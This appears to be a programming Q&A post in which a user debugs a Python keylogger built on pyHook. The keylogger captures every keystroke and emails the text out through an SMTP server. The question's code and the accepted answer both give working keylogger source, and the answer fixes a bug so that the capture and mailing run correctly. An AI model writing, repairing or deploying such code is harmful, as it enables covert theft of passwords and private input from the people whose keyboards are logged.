Search code examples
pythontextpyhook

Text being converted to chinese when sending text in python


I was playing around with the pyHook library and I decided to see if I could make a key logger.

The issue was that when I would try to save that text to a file or email it to myself, half of the time it would get converted to something like this

I⁡洠獥湤楮朠浹獥汦⁡渠敭慩氠癩愠愠步

When I print the text, it looks fine. But I have encountered this both when saving text to a text file, and when emailing it to myself.

import pyHook
import pythoncom
from re import sub
#Module for emailing out captured text
from Emailer import MakeEmail
#Global variable that will hold the captured text in-between emails 
captured = ''

SMTP_server = 'smtp.gmail.com'

username = '[email protected]'

passwd = 'password'

destination = "[email protected]"

email = MakeEmail(SMTP_server, destination, username, passwd, "Key Logger output", "")

def onKeyboardEvent(event):
    global captured
    if event.Ascii == 5 or not isinstance(event.Ascii, int):
        _exit(1)
    if event.Ascii != 0 or 8:
        captured += unichr(event.Ascii)
        if len(captured) > 30:
            print captured
            email.content = sub("\ \ *", " ", captured)
            email.send_email()
            captured= ''

hm = pyHook.HookManager()

hm.KeyDown = onKeyboardEvent

hm.HookKeyboard()

pythoncom.PumpMessages()

I can't make heads or tails of this bug.


Solution

  • Like @iCodez commented, line 23 should have been written as:

    if event.Ascii != 0 and event.Ascii != 8:
    

    Here is the fixed version of the on_keyboard_event function:

    def on_keyboard_event(event):
        """Function is called everytime a key is pressed
         to add that key to the list of captured keys"""
        global captured
        if event.Ascii == 5 or not isinstance(event.Ascii, int):
            _exit(1)
        if event.Ascii != 0 and event.Ascii != 8:
            captured += unichr(event.Ascii)
            captured = sub("  *", " ", captured)
            if len(captured) > 99:
                email.content = captured
                email.send_email()
                captured =  ''